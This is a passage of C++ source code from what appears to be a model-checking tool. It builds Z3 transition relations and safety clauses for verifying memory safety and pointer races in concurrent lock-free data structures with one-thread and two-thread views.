(Xages_eq(xid, znextid) == ages_eq(ynextid, znextid)) && (Xages_lt(xid, znextid) == ages_lt(ynextid, znextid)) && (Xages_lt(znextid, xid) == ages_lt(znextid, ynextid));
}
// NOTE: ages(x.next, z) with z =/= x.next not treated on purpose - we don't know about it
result = nochange_ages(result, vars, x);
// shape tohuwabohu
result = result && Xshape_eq(xid, xid) && !Xshape_neq(xid, xid); // we don't know about next and reach
for(const auto z : vars){
if(z == x) continue;
int zid = x->getid();
result = result && (shape_next(yid, zid) == Xshape_eq(xid, zid));
// side-track pointers prevent us from having equivalences here as well
result = result && implies(shape_eq(yid, zid), Xshape_next(zid, xid));
result = result && implies(shape_next(zid, yid) || shape_reach(zid, yid), Xshape_reach(zid, xid));
result = result && implies(!shape_neq(yid, zid), !Xshape_neq(xid, zid));
// but we can impose restrictions
result = result && implies(shape_neq(yid, zid), Xshape_neq(zid, xid) || Xshape_next(zid, xid) || Xshape_reach(zid, xid));
result = result && (Xshape_neq(zid, xid) == !(Xshape_eq(zid, xid) || Xshape_next(zid, xid) || Xshape_next(xid, zid) || Xshape_reach(zid, xid) || Xshape_reach(xid, zid)));
// If you want to point at my successors, you have to know some things
expr samesuc(ctxt, Z3_mk_true(ctxt));
expr samesucplus(ctxt, Z3_mk_true(ctxt));
for(const auto w : vars){
int wid = w->getid();
samesuc = samesuc && (shape_next(zid, wid) == shape_next(yid, wid)) && (shape_reach(zid, wid) == shape_reach(yid, wid));
samesucplus = samesucplus && implies(shape_next(yid, wid) || shape_reach(yid, wid), shape_reach(zid, wid));
}
result = result && implies(Xshape_next(zid, xid), samesuc);
result = result && implies(Xshape_reach(zid, xid), samesucplus);
}
// reaching from x is more involved. First check if there is already a pointer on y.next. We can copy that.
expr noonenext(ctxt, Z3_mk_true(ctxt));
for(const auto z : vars){
int zid = z->getid();
expr copyz = (Xshape_eq(xid, xid) == shape_eq(zid, zid)) && (Xshape_neq(xid, xid) == shape_neq(zid, zid)) && (Xshape_next(xid, xid) == shape_next(zid, zid)) && (Xshape_reach(xid, xid) == shape_reach(zid, zid));
for(const auto w : vars){
if(w == x) continue;
int wid = w->getid();
copyz = copyz && (Xshape_eq(xid, wid) == shape_eq(zid, wid)) && (Xshape_neq(xid, wid) == shape_neq(zid, wid)) && (Xshape_next(xid, wid) == shape_next(zid, wid)) && (Xshape_next(wid, xid) == shape_next(wid, zid)) && (Xshape_reach(xid, wid) == shape_reach(zid, wid)) && (Xshape_reach(wid, xid) == shape_reach(wid, zid));
}
copyz = copyz && (Xfreed(xid) == freed(zid)) && (Xfreednext(xid) == freednext(zid));
result = result && implies(shape_next(yid, zid), copyz);
noonenext = noonenext && !shape_next(yid, zid);
}
// Otherwise we have to find the nearest pointer. That one might or might not be next to x
for(const auto z : vars){
if(z == x) continue;
int zid = z->getid();
expr znearest(ctxt, Z3_mk_true(ctxt));
for(const auto w : vars){
int wid = w->getid();
znearest = znearest && (!shape_reach(yid, wid) || shape_eq(zid, wid) || shape_next(zid, wid) || shape_reach(zid, wid));
}
expr close = Xshape_next(xid, zid) && !Xshape_reach(xid, zid);
expr distant = !Xshape_next(xid, zid) && Xshape_reach(xid, zid);
expr exe = implies(shape_reach(yid, zid) && znearest, close || distant) &&
implies(shape_reach(yid, zid) && !znearest, distant) &&
implies(!shape_reach(yid, zid), !shape_reach(xid, zid));
exe = exe && (freednext(yid) == (Xfreed(xid) || Xfreednext(xid)));
result = result && implies(noonenext, exe);
}
result = nochange_shape(result, vars, x);
result = nochange_freed(result, vars, x);
// ownership loss can be initiated or propagated
if(x->isglobal()){
result = result && nuke_ownership(x);
for(const auto z : vars){
if(z == x) continue;
int zid = z->getid();
expr cond = !inv_eq(yid) && !inv_next(yid) && shape_next(yid, zid);
result = result && implies(cond, nuke_ownership(z));
result = result && implies(!cond, copy_ownership(z, z));
}
}else{
result = result && nibble_ownership(x, y);
}
result = pcincrement(result, command);
result = osupdate(result, command->get_event());
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
result = nochange_sinout(result);
return result;
}
expr View::trans_inputassignment(InputAssignment *command){
Variable *x = vardown(command->getvar());
int xid = x->getid();
int xnextid = x->getnextid();
expr result(ctxt, Z3_mk_true(ctxt));
// if observer variable z is watching the input, it becomes a copy of x.
// if not, it stays as it was.
for(const auto &z : obsvars){
int zid = z->getid();
int znextid = z->getnextid();
expr change(ctxt, Z3_mk_true(ctxt));
expr stay(ctxt, Z3_mk_true(ctxt));
//ages change
result = result && (Xages_eq(zid, zid) == ages_eq(xid, xid)) && (Xages_eq(znextid, znextid) == ages_eq(xnextid, xnextid)) && (Xages_eq(zid, znextid) == ages_eq(xid, xnextid)) &&
(Xages_lt(zid, zid) == ages_lt(xid, xid)) && (Xages_lt(znextid, znextid) == ages_lt(xnextid, xnextid)) && (Xages_lt(zid, znextid) == ages_lt(xid, xnextid)) && (Xages_lt(znextid, zid) == ages_lt(xnextid, xid));
for(const auto &w : vars){
if(w == z) continue;
int wid = w->getid();
int wnextid = w->getnextid();
result = result && (Xages_eq(zid, wid) == ages_eq(xid, wid)) && (Xages_eq(zid, wnextid) == ages_eq(xid, wnextid)) && (Xages_eq(znextid, wid) == ages_eq(xnextid, wid)) && (Xages_eq(znextid, wnextid) == ages_eq(xnextid, wnextid)) &&
(Xages_lt(zid, wid) == ages_lt(xid, wid)) && (Xages_lt(wid, zid) == ages_lt(wid, xid)) && (Xages_lt(zid, wnextid) == ages_lt(xid, wnextid)) && (Xages_lt(wnextid, zid) == ages_lt(wnextid, xid)) && (Xages_lt(znextid, wid) == ages_lt(xnextid, wid)) && (Xages_lt(wid, znextid) == ages_lt(wid, xnextid)) && (Xages_lt(znextid, wnextid) == ages_lt(xnextid, wnextid)) && (Xages_lt(wnextid, znextid) == ages_lt(wnextid, xnextid));
}
//ages stay
for(const auto &w : vars){
int wid = w->getid();
int wnextid = w->getnextid();
stay = stay && (Xages_eq(zid, wid) == ages_eq(zid, wid)) && (Xages_eq(znextid, wid) == ages_eq(znextid, wid)) && (Xages_eq(zid, wnextid) == ages_eq(zid, wnextid)) && (Xages_eq(znextid, wnextid) == ages_eq(znextid, wnextid)) &&
(Xages_lt(zid, wid) == ages_lt(zid, wid)) && (Xages_lt(wid, zid) == ages_lt(wid, zid)) && (Xages_lt(znextid, wid) == ages_lt(znextid, wid)) && (Xages_lt(wid, znextid) == ages_lt(wid, znextid)) && (Xages_lt(zid, wnextid) == ages_lt(zid, wnextid)) && (Xages_lt(wnextid, zid) == ages_lt(wnextid, zid)) && (Xages_lt(znextid, wnextid) == ages_lt(znextid, wnextid)) && (Xages_lt(wnextid, znextid) == ages_lt(wnextid, znextid));
}
// shape change
change = change && (Xshape_eq(zid, zid) == shape_eq(xid, xid)) && (Xshape_neq(zid, zid) == shape_neq(xid, xid)) && (Xshape_next(zid, zid) == shape_next(xid, xid)) && (Xshape_reach(zid, zid) == shape_reach(xid, xid));
for(const auto &w : vars){
if(w == z) continue;
int wid = w->getid();
change = change && (Xshape_eq(zid, wid) == shape_eq(xid, wid)) && (Xshape_neq(zid, wid) == shape_neq(xid, wid)) && (Xshape_next(zid,wid) == shape_next(xid, wid)) && (Xshape_next(wid, zid) == shape_next(wid, xid)) && (Xshape_reach(zid, wid) == shape_reach(xid, wid)) && (Xshape_reach(wid, zid) == shape_reach(wid, xid));
}
// shape stay
for(const auto &w : vars){
int wid = w->getid();
stay = stay && (Xshape_eq(zid, wid) == shape_eq(zid, wid)) && (Xshape_neq(zid, wid) == shape_neq(zid, wid)) && (Xshape_next(zid, wid) == shape_next(zid, wid)) && (Xshape_next(wid, zid) == shape_next(wid, zid)) && (Xshape_reach(zid, wid) == shape_reach(zid, wid)) && (Xshape_reach(wid, zid) == shape_reach(wid, zid));
}
// freed change
change = change && (Xfreed(zid) == freed(xid)) && (Xfreednext(zid) == freednext(xid));
// freed stay
stay = stay && (Xfreed(zid) == freed(zid)) && (Xfreednext(zid) == freednext(zid));
// inv+sin change
change = change && (Xinv_eq(zid) == inv_eq(xid)) && (Xinv_next(zid) == inv_next(xid)) && (Xinv_reach(zid) == inv_reach(xid)) &&
(Xsin_eq(zid) == sin_eq(xid)) && (Xsin_next(zid) == sin_next(xid)) && (Xsin_reach(zid) == sin_reach(xid));
// inv+sin stay
stay = stay && (Xinv_eq(zid) == inv_eq(zid)) && (Xinv_next(zid) == inv_next(zid)) && (Xinv_reach(zid) == inv_reach(zid)) &&
(Xsin_eq(zid) == sin_eq(zid)) && (Xsin_next(zid) == sin_next(zid)) && (Xsin_reach(zid) == sin_reach(zid));
result = result && implies(in(zid), change) && implies(!in(zid), stay);
result = result && copy_ownership(z, z);
}
// all not-observer pointers stay as they were
result = nochange_own(result, nonobsvars);
result = nochange_ages(result, nonobsvars);
result = nochange_shape(result, nonobsvars);
result = nochange_freed(result, nonobsvars);
result = nochange_inv(result, nonobsvars);
result = nochange_sin(result, nonobsvars);
// on some things everything stays as it was
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
result = nochange_sinout(result);
result = pcincrement(result, command);
result = osupdate(result, command->get_event());
return result;
}
expr View::trans_outputassignment(OutputAssignment *command){
Variable *x = vardown(command->getvar());
int xid = x->getid();
expr result = (Xsinout == inv_eq(xid));
for(const auto z : obsvars){
int zid = z->getid();
result = result && (Xout(zid) == (shape_eq(xid, zid) && !inv_eq(xid)));
}
// sinout2 and out2 handled in inherited function
result = pcincrement(result, command);
result = osupdate(result, command->get_event());
result = nochange_freed(result, vars);
result = nochange_observed_in(result, obsvars);
result = nochange_shape(result, vars);
result = nochange_inv(result, vars);
result = nochange_sin(result, vars);
result = nochange_ages(result, vars);
result = nochange_own(result, vars);
return result;
}
expr View::trans_return(Return *command){
expr result(ctxt, Z3_mk_true(ctxt));
result = pcincrement(result, command);
result = osupdate(result, command->get_event());
result = nochange_freed(result, vars);
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
result = nochange_shape(result, vars);
result = nochange_ages(result, vars);
result = nochange_inv(result, vars);
result = nochange_sin(result, vars);
result = nochange_own(result, vars);
result = nochange_sinout(result);
return result;
}
expr View::trans_pointercomparison(PointerComparison *command){
Variable *x = vardown(command->getlhs());
Variable *y = vardown(command->getrhs());
int xid = x->getid();
int yid = y->getid();
expr result(ctxt, Z3_mk_true(ctxt));
// we go whereever the comparison leads us
result = pcincrement(result, command, shape_eq(xid, yid));
// we might lose ownership of variables that point to x or y, if compared to an invalid pointer
for(const auto z : vars){
int zid = z->getid();
expr cond = (shape_eq(xid, zid) && inv_eq(yid)) || (shape_eq(yid, zid) && inv_eq(xid));
result = result && implies(cond, lose_ownership(z)) && implies(!cond, copy_ownership(z, z));
}
result = osupdate(result, command->get_event());
result = nochange_sinout(result);
result = nochange_freed(result, vars);
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
result = nochange_shape(result, vars);
result = nochange_inv(result, vars);
result = nochange_sin(result, vars);
result = nochange_ages(result, vars);
return result;
}
expr View::trans_cas(CAS *command){
Variable *v = vardown(command->getvictim());
Variable *c = vardown(command->getcompare());
Variable *r = vardown(command->getreplace());
int vid = v->getid();
int cid = c->getid();
expr success = trans_cas_success(v, c, r);
expr fail = trans_cas_fail(v, c, r);
expr condition = shape_eq(vid, cid) && ages_eq(vid, cid);
// expr condition = shape_eq(vid, cid);
expr result = implies(condition, success) && implies(!condition, fail);
result = pcincrement(result, command, condition);
result = osupdate(result, command->get_event());
return result;
}
expr View::trans_cas_success(Variable *v, Variable *c, Variable *r){
int vid = v->getid();
int cid = c->getid();
int rid = r->getid();
expr result = (Xages_eq(vid, vid) == ages_eq(vid, vid)) && (Xages_lt(vid, vid) == ages_lt(vid, vid));
for(const auto z : vars){
if(z == v) continue;
int zid = z->getid();
int znextid = z->getnextid();
// the equal ones get smaller, the smaller ones stay smaller
result = result && implies(ages_eq(zid, vid) || ages_lt(zid, vid), Xages_lt(zid, vid) && !Xages_lt(vid, zid) && !Xages_eq(vid, zid));
result = result && implies(ages_eq(znextid, vid) || ages_lt(znextid, vid), Xages_lt(znextid, vid) && !Xages_lt(vid, znextid) && !Xages_eq(znextid, vid));
// the smallest of the greater ones can get equal, the other greater ones stay greater
expr zsmallestbig(ctxt, Z3_mk_true(ctxt));
expr znextsmallestbig(ctxt, Z3_mk_true(ctxt));
for(const auto w : vars){
int wid = w->getid();
int wnextid = w->getnextid();
zsmallestbig = zsmallestbig && (ages_lt(zid, wid) || ages_eq(zid, wid) || !ages_lt(vid, wid));
zsmallestbig = zsmallestbig && (ages_lt(zid, wnextid) || ages_eq(zid, wnextid) || !ages_lt(vid, wnextid));
znextsmallestbig = znextsmallestbig && (ages_lt(znextid, wid) || ages_eq(znextid, wid) || !ages_lt(vid, wid));
znextsmallestbig = znextsmallestbig && (ages_lt(znextid, wnextid) || ages_eq(znextid, wnextid) || !ages_lt(vid, wnextid));
}
expr getequal = Xages_eq(vid, zid) && !Xages_lt(vid, zid) && !Xages_lt(zid, vid);
expr staygreater = Xages_lt(vid, zid) && !Xages_eq(vid, zid) && !Xages_lt(zid, vid);
expr nextgetequal = Xages_eq(vid, znextid) && !Xages_lt(vid, znextid) && !Xages_lt(znextid, vid);
expr nextstaygreater = Xages_lt(vid, znextid) && !Xages_eq(vid, znextid) && !Xages_lt(znextid, vid);
result = result && implies(ages_lt(vid, zid) && zsmallestbig, getequal || staygreater);
result = result && implies(ages_lt(vid, zid) && !zsmallestbig, staygreater);
result = result && implies(ages_lt(vid, znextid) && znextsmallestbig, nextgetequal || nextstaygreater);
result = result && implies(ages_lt(vid, znextid) && !znextsmallestbig, nextstaygreater);
}
result = nochange_ages(result, vars, v);
result = result && (Xfreed(vid) == freed(rid)) && (Xfreednext(vid) == freednext(rid));
result = nochange_freed(result, vars, v);
result = result && (Xinv_eq(vid) == inv_eq(rid)) && (Xinv_next(vid) == inv_next(rid)) && (Xinv_reach(vid) == inv_reach(rid));
result = nochange_inv(result, vars, v);
result = result && (Xsin_eq(vid) == sin_eq(rid)) && (Xsin_next(vid) == sin_next(rid)) && (Xsin_reach(vid) == sin_reach(rid));
result = nochange_sin(result, vars, v);
if(v->isglobal()){
for(const auto &z : vars){
int zid = z->getid();
expr condinvcmp = (shape_eq(vid, zid) && inv_eq(cid)) || (shape_eq(cid, zid) && inv_eq(vid));
result = result && implies((!inv_eq(rid) && shape_eq(rid, zid)), nuke_ownership(z)) &&
implies(condinvcmp, lose_ownership(z)) &&
implies((inv_eq(rid) || !shape_eq(rid, zid)) && !condinvcmp, copy_ownership(z, z));
}
}else{
result = result && copy_ownership(r, v);
for(const auto &z : vars){
if(z == r) continue;
int zid = z->getid();
expr cond = (shape_eq(vid, zid) && inv_eq(cid)) || (shape_eq(cid, zid) && inv_eq(vid));
result = result && implies(cond, lose_ownership(z)) && implies(!cond, copy_ownership(z, z));
}
}
result = result && (Xshape_eq(vid, vid) == shape_eq(rid, rid)) && (Xshape_neq(vid, vid) == shape_neq(rid, rid)) && (Xshape_next(vid, vid) == shape_next(rid, rid)) && (Xshape_reach(vid, vid) == shape_reach(rid, rid));
for(const auto &z : vars){
if(z == v) continue;
int zid = z->getid();
result = result && (Xshape_eq(vid, zid) == shape_eq(rid, zid)) && (Xshape_neq(vid, zid) == shape_neq(rid, zid)) && (Xshape_next(vid, zid) == shape_next(rid, zid)) && (Xshape_next(zid, vid) == shape_next(zid, rid)) && (Xshape_reach(vid, zid) == shape_reach(rid, zid)) && (Xshape_reach(zid, vid) == shape_reach(zid, rid));
}
result = nochange_shape(result, vars, v);
result = nochange_sinout(result);
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
return result;
}
expr View::trans_cas_fail(Variable *v, Variable *c, Variable *r){
expr result(ctxt, Z3_mk_true(ctxt));
int vid = v->getid();
int cid = c->getid();
// we might lose ownership of variables that point to v or c, if compared to an invalid pointer
for(const auto &z : vars){
int zid = z->getid();
expr cond = (shape_eq(vid, zid) && inv_eq(cid)) || (shape_eq(cid, zid) && inv_eq(vid));
result = result && implies(cond, lose_ownership(z)) && implies(!cond, copy_ownership(z, z));
}
result = nochange_sinout(result);
result = nochange_freed(result, vars);
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
result = nochange_shape(result, vars);
result = nochange_inv(result, vars);
result = nochange_sin(result, vars);
result = nochange_ages(result, vars);
return result;
}
std::vector<int> View::get_variables_single(){
return std::vector<int>({sinoutid});
}
std::vector<Z3VariableContainer1D*> View::get_variables_1did(){
return std::vector<Z3VariableContainer1D*>({&pc, &os});
}
std::vector<Z3VariableContainer1D*> View::get_variables_1dvar(){
return std::vector<Z3VariableContainer1D*>({&own, &freed, &freednext, &inv_eq, &inv_next, &inv_reach, &sin_eq, &sin_next, &sin_reach});
}
std::vector<Z3VariableContainer1D*> View::get_variables_1dobsvar(){
return std::vector<Z3VariableContainer1D*>({&in, &out, &inseen});
}
std::vector<Z3VariableContainer2D*> View::get_variables_2dvar(){
return std::vector<Z3VariableContainer2D*>({&shape_eq, &shape_neq, &shape_next, &shape_reach});
}
std::vector<Z3VariableContainer2D*> View::get_variables_2dnextvar(){
return std::vector<Z3VariableContainer2D*>({&ages_eq, &ages_lt});
}
OneThreadView::OneThreadView(Program *prog, Observer *obs, context &ctxt, std::vector<Variable*> nonobsvars, std::vector<Variable*> obsvars, std::vector<Variable*> vars, std::vector<Variable*> activelocalscope, std::vector<Variable*> activenotlocalscope):
View(prog, obs, ctxt, nonobsvars, obsvars, vars, activelocalscope, activenotlocalscope),
initial(ctxt),
safety(ctxt)
{
}
Variable *OneThreadView::vardown(Variable *var){
return var;
}
Variable *OneThreadView::varup(Variable *var){
return var;
}
expr OneThreadView::nochange_own(expr &f, std::vector<Variable*> &v, Variable *except){
for(const auto &z : v){
if(z == except) continue;
int zid = z->getid();
f = f && (Xown(zid) == own(zid));
}
return f;
}
expr OneThreadView::claim_ownership(Variable *x){
int xid = x->getid();
return Xown(xid);
}
expr OneThreadView::lose_ownership(Variable *x){
int xid = x->getid();
return !Xown(xid);
}
expr OneThreadView::nuke_ownership(Variable *x){
int xid = x->getid();
return !Xown(xid);
}
expr OneThreadView::copy_ownership(Variable *source, Variable *dest){
int sid = source->getid();
int did = dest->getid();
return (Xown(did) == own(sid));
}
expr OneThreadView::nibble_ownership(Variable *nibbler, Variable *pointer){
int nid = nibbler->getid();
int pid = pointer->getid();
expr cond = !own(pid) && !inv_eq(pid) && !inv_next(pid);
expr result = implies(cond, !Xown(nid));
result = result && implies(!cond, Xown(nid) == own(pid));
for(const auto z : vars){
if(z == nibbler) continue;
int zid = z->getid();
expr zcond = cond && shape_next(pid, zid);
result = result && implies(zcond, !Xown(zid));
result = result && implies(!zcond, Xown(zid) == own(zid));
}
return result;
}
expr OneThreadView::nochange_seen(Variable *except){
expr result(ctxt, Z3_mk_true(ctxt));
for(const auto z : obsvars){
if(z == except) continue;
int zid = z->getid();
result = result && (Xinseen(zid) == inseen(zid));
}
return result;
}
expr OneThreadView::input_seen(Variable *z){
int zid = z->getid();
return inseen(zid);
}
expr OneThreadView::see_input(Variable *z){
return Xinseen(z->getid());
}
void OneThreadView::build_safety(){
// never go to the accepting state
Clause c(ctxt, old_variables.size());
c.set_variable(os(autc-1), os.getid(autc-1), CLAUSE_NEGATIVE);
safety.add_clause(c, false);
// strong pointer races
for(auto next : program->get_code()){
int pcid = next->getpc();
expression_subtype st = next->get_subtype();
if(st == MALLOC){
// no SPR
}else if(st == FREE){
Variable *x = ((Free*)next)->getvar();
int xid = x->getid();
// SPR iff x is invalid and has a data binding
for(auto z : obsvars){
int zid = z->getid();
Clause c(ctxt, old_variables.size());
c.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c.set_variable(inv_eq(xid), inv_eq.getid(xid), CLAUSE_NEGATIVE);
c.set_variable(shape_eq(xid, zid), shape_eq.getid(xid, zid), CLAUSE_NEGATIVE);
safety.add_clause(c, false);
}
/*/
// SPR iff x is invalid
Clause c(ctxt, old_variables.size());
c.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c.set_variable(inv_eq(xid), inv_eq.getid(xid), CLAUSE_NEGATIVE);
safety.add_clause(c);
//*/
}else if(st == POINTERASSIGNMENT){
// no SPR
}else if(st == NEXTPOINTERASSIGNMENT){
Variable *x = ((NextPointerAssignment*)next)->getlhs();
int xid = x->getid();
// SPR iff x is invalid or strongly invalid
Clause c1(ctxt, old_variables.size());
c1.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c1.set_variable(inv_eq(xid), inv_eq.getid(xid), CLAUSE_NEGATIVE);
Clause c2(ctxt, old_variables.size());
c2.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c2.set_variable(sin_eq(xid), sin_eq.getid(xid), CLAUSE_NEGATIVE);
safety.add_clause(c1, false);
safety.add_clause(c2, false);
}else if(st == POINTERNEXTASSIGNMENT){
Variable *y = ((PointerNextAssignment*)next)->getrhs();
int yid = y->getid();
// SPR iff y is strongly invalid
Clause c(ctxt, old_variables.size());
c.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c.set_variable(sin_eq(yid), sin_eq.getid(yid), CLAUSE_NEGATIVE);
safety.add_clause(c, false);
}else if(st == INPUTASSIGNMENT){
Variable *x = ((IOAssignment*)next)->getvar();
int xid = x->getid();
// SPR iff x is invalid or strongly invalid
Clause c1(ctxt, old_variables.size());
c1.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c1.set_variable(inv_eq(xid), inv_eq.getid(xid), CLAUSE_NEGATIVE);
Clause c2(ctxt, old_variables.size());
c2.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c2.set_variable(sin_eq(xid), sin_eq.getid(xid), CLAUSE_NEGATIVE);
safety.add_clause(c1, false);
safety.add_clause(c2, false);
}else if(st == OUTPUTASSIGNMENT){
Variable *x = ((IOAssignment*)next)->getvar();
int xid = x->getid();
// SPR iff x is strongly invalid
Clause c(ctxt, old_variables.size());
c.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c.set_variable(sin_eq(xid), sin_eq.getid(xid), CLAUSE_NEGATIVE);
safety.add_clause(c, false);
}else if(st == RETURN){
// no SPR
}else if(st == POINTERCOMPARISON || st == CANDS){
Variable *x = ((PointerComparison*)next)->getlhs();
Variable *y = ((PointerComparison*)next)->getrhs();
int xid = x->getid();
int yid = y->getid();
// SPR iff x or y are strongly invalid
Clause c1(ctxt, old_variables.size());
c1.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c1.set_variable(sin_eq(xid), sin_eq.getid(xid), CLAUSE_NEGATIVE);
Clause c2(ctxt, old_variables.size());
c2.set_variable(pc(pcid), pc.getid(pcid), CLAUSE_NEGATIVE);
c2.set_variable(sin_eq(yid), sin_eq.getid(yid), CLAUSE_NEGATIVE);
safety.add_clause(c1, false);
safety.add_clause(c2, false);
}
}
/*
here are some constraints that are always valid by initiation and
transition but we should include them here to exclude them from
(unsuccessful but time-consuming) counterexample finding
*/
// never be at two pcs at the same time
for(int i=0; i<loc; i++){
for(int j=i+1; j<loc; j++){
Clause c(ctxt, old_variables.size());
c.set_variable(pc(i), pc.getid(i), CLAUSE_NEGATIVE);
c.set_variable(pc(j), pc.getid(j), CLAUSE_NEGATIVE);
safety.add_clause(c, false);
}
}
// never be at two observer states at the same time but always at one
Clause oneobs(ctxt, old_variables.size());
for(int i=0; i<autc; i++){
oneobs.set_variable(os(i), os.getid(i), CLAUSE_POSITIVE);
for(int j=i+1; j<autc; j++){
Clause c(ctxt, old_variables.size());
c.set_variable(os(i), os.getid(i), CLAUSE_NEGATIVE);
c.set_variable(os(j), os.getid(j), CLAUSE_NEGATIVE);
safety.add_clause(c, false);
}
}
safety.add_clause(oneobs);
// input and output cannot be watched by more than one variable
for(const auto z1 : obsvars){
int z1id = z1->getid();
for(const auto z2 : obsvars){
if(z2 == z1) continue;
int z2id = z2->getid();
Clause i(ctxt, old_variables.size());
i.set_variable(in(z1id), in.getid(z1id), CLAUSE_NEGATIVE);
i.set_variable(in(z2id), in.getid(z2id), CLAUSE_NEGATIVE);
safety.add_clause(i);
Clause o(ctxt, old_variables.size());
o.set_variable(out(z1id), out.getid(z1id), CLAUSE_NEGATIVE);
o.set_variable(out(z2id), out.getid(z2id), CLAUSE_NEGATIVE);
safety.add_clause(o);
}
}
// consistency
shapeconsistency(safety);
memconsistency(safety);
// */
}
Frame &OneThreadView::get_initial(){
return initial;
}
Frame &OneThreadView::get_safety(){
return safety;
}
TwoThreadView::TwoThreadView(Program *prog, Observer *obs, context &ctxt, std::vector<Variable*> nonobsvars, std::vector<Variable*> obsvars, std::vector<Variable*> vars, std::vector<Variable*> activelocalscope, std::vector<Variable*> activenotlocalscope, std::vector<Variable*> passivelocalscope, std::vector<Variable*> passivenotlocalscope):
View(prog, obs, ctxt, nonobsvars, obsvars, vars, activelocalscope, activenotlocalscope),
passivelocalscope(passivelocalscope),
passivenotlocalscope(passivenotlocalscope),
pc2(ctxt, loc, "pc2", old_variables),
own2(ctxt, varc, "own2", old_variables, &vars),
in2(ctxt, obsc, "in2", old_variables, &vars),
out2(ctxt, obsc, "out2", old_variables, &vars),
inseen2(ctxt, obsc, "seen2", old_variables, &vars),
sinout2(ctxt.bool_const("sinout2")),
Xpc2(ctxt, loc, "Xpc2", new_variables),
Xown2(ctxt, varc, "Xown2", new_variables, &vars),
Xin2(ctxt, obsc, "Xin2", new_variables, &vars),
Xout2(ctxt, obsc, "Xout2", new_variables, &vars),
Xinseen2(ctxt, obsc, "Xseen2", new_variables, &vars),
Xsinout2(ctxt.bool_const("Xsinout2")),
XPC2(),
intconstraints(ctxt)
{
sinout2id = old_variables.size();
old_variables.push_back(sinout2);
Xsinout2id = new_variables.size();
new_variables.push_back(Xsinout2);
XPC2.reserve(loc+1);
for(int i=0; i<loc+1; i++){
expr f(ctxt, Z3_mk_true(ctxt));
if(i < loc){
f = Xpc2(i);
}
for(int j=0; j<loc; j++){
if(i == j) continue;
f = f && !Xpc2(j);
}
XPC2.push_back(f);
}
}
Variable *TwoThreadView::vardown(Variable *var){
if(var == NULL) return NULL;
return var->get_twin(1);
}
Variable *TwoThreadView::varup(Variable *var){
if(var == NULL) return NULL;
return var->get_parent();
}
void TwoThreadView::build_intconstraints(){
// Data Independence
for(const auto z : obsvars){
int zid = z->getid();
Clause input(ctxt, old_variables.size());
input.set_variable(in(zid), in.getid(zid), CLAUSE_NEGATIVE);
input.set_variable(in2(zid), in2.getid(zid), CLAUSE_NEGATIVE);
Clause output(ctxt, old_variables.size());
output.set_variable(out(zid), out.getid(zid), CLAUSE_NEGATIVE);
output.set_variable(out2(zid), out2.getid(zid), CLAUSE_NEGATIVE);
intconstraints.add_clause(input);
intconstraints.add_clause(output);
}
// Shape cf. p47
// consistency (C1)
shapeconsistency(intconstraints);
// relations of locals (C6n)
for(const auto x : activelocalscope){
int xid = x->getid();
for(const auto y : passivelocalscope){
int yid = y->getid();
Clause constr_xeq(ctxt, old_variables.size());
constr_xeq.set_variable(own(xid), own.getid(xid), CLAUSE_NEGATIVE);
constr_xeq.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
constr_xeq.set_variable(inv_eq(yid), inv_eq.getid(yid), CLAUSE_POSITIVE);
constr_xeq.set_variable(sin_eq(yid), sin_eq.getid(yid), CLAUSE_POSITIVE);
Clause constr_xnext(ctxt, old_variables.size());
constr_xnext.set_variable(own(xid), own.getid(xid), CLAUSE_NEGATIVE);
constr_xnext.set_variable(shape_next(yid, xid), shape_next.getid(yid, xid), CLAUSE_NEGATIVE);
constr_xnext.set_variable(inv_next(yid), inv_next.getid(yid), CLAUSE_POSITIVE);
constr_xnext.set_variable(sin_next(yid), sin_next.getid(yid), CLAUSE_POSITIVE);
Clause constr_xreach(ctxt, old_variables.size());
constr_xreach.set_variable(own(xid), own.getid(xid), CLAUSE_NEGATIVE);
constr_xreach.set_variable(shape_reach(yid, xid), shape_reach.getid(yid, xid), CLAUSE_NEGATIVE);
constr_xreach.set_variable(inv_reach(yid), inv_reach.getid(yid), CLAUSE_POSITIVE);
constr_xreach.set_variable(sin_reach(yid), sin_reach.getid(yid), CLAUSE_POSITIVE);
Clause constr_yeq(ctxt, old_variables.size());
constr_yeq.set_variable(own2(yid), own2.getid(yid), CLAUSE_NEGATIVE);
constr_yeq.set_variable(shape_eq(yid, xid), shape_eq.getid(yid, xid), CLAUSE_NEGATIVE);
constr_yeq.set_variable(inv_eq(xid), inv_eq.getid(xid), CLAUSE_POSITIVE);
constr_yeq.set_variable(sin_eq(xid), sin_eq.getid(xid), CLAUSE_POSITIVE);
Clause constr_ynext(ctxt, old_variables.size());
constr_ynext.set_variable(own2(yid), own2.getid(yid), CLAUSE_NEGATIVE);
constr_ynext.set_variable(shape_next(xid, yid), shape_next.getid(xid, yid), CLAUSE_NEGATIVE);
constr_ynext.set_variable(inv_next(xid), inv_next.getid(xid), CLAUSE_POSITIVE);
constr_ynext.set_variable(sin_next(xid), sin_next.getid(xid), CLAUSE_POSITIVE);
Clause constr_yreach(ctxt, old_variables.size());
constr_yreach.set_variable(own2(yid), own2.getid(yid), CLAUSE_NEGATIVE);
constr_yreach.set_variable(shape_reach(xid, yid), shape_reach.getid(xid, yid), CLAUSE_NEGATIVE);
constr_yreach.set_variable(inv_reach(xid), inv_reach.getid(xid), CLAUSE_POSITIVE);
constr_yreach.set_variable(sin_reach(xid), sin_reach.getid(xid), CLAUSE_POSITIVE);
intconstraints.add_clause(constr_xeq);
intconstraints.add_clause(constr_xnext);
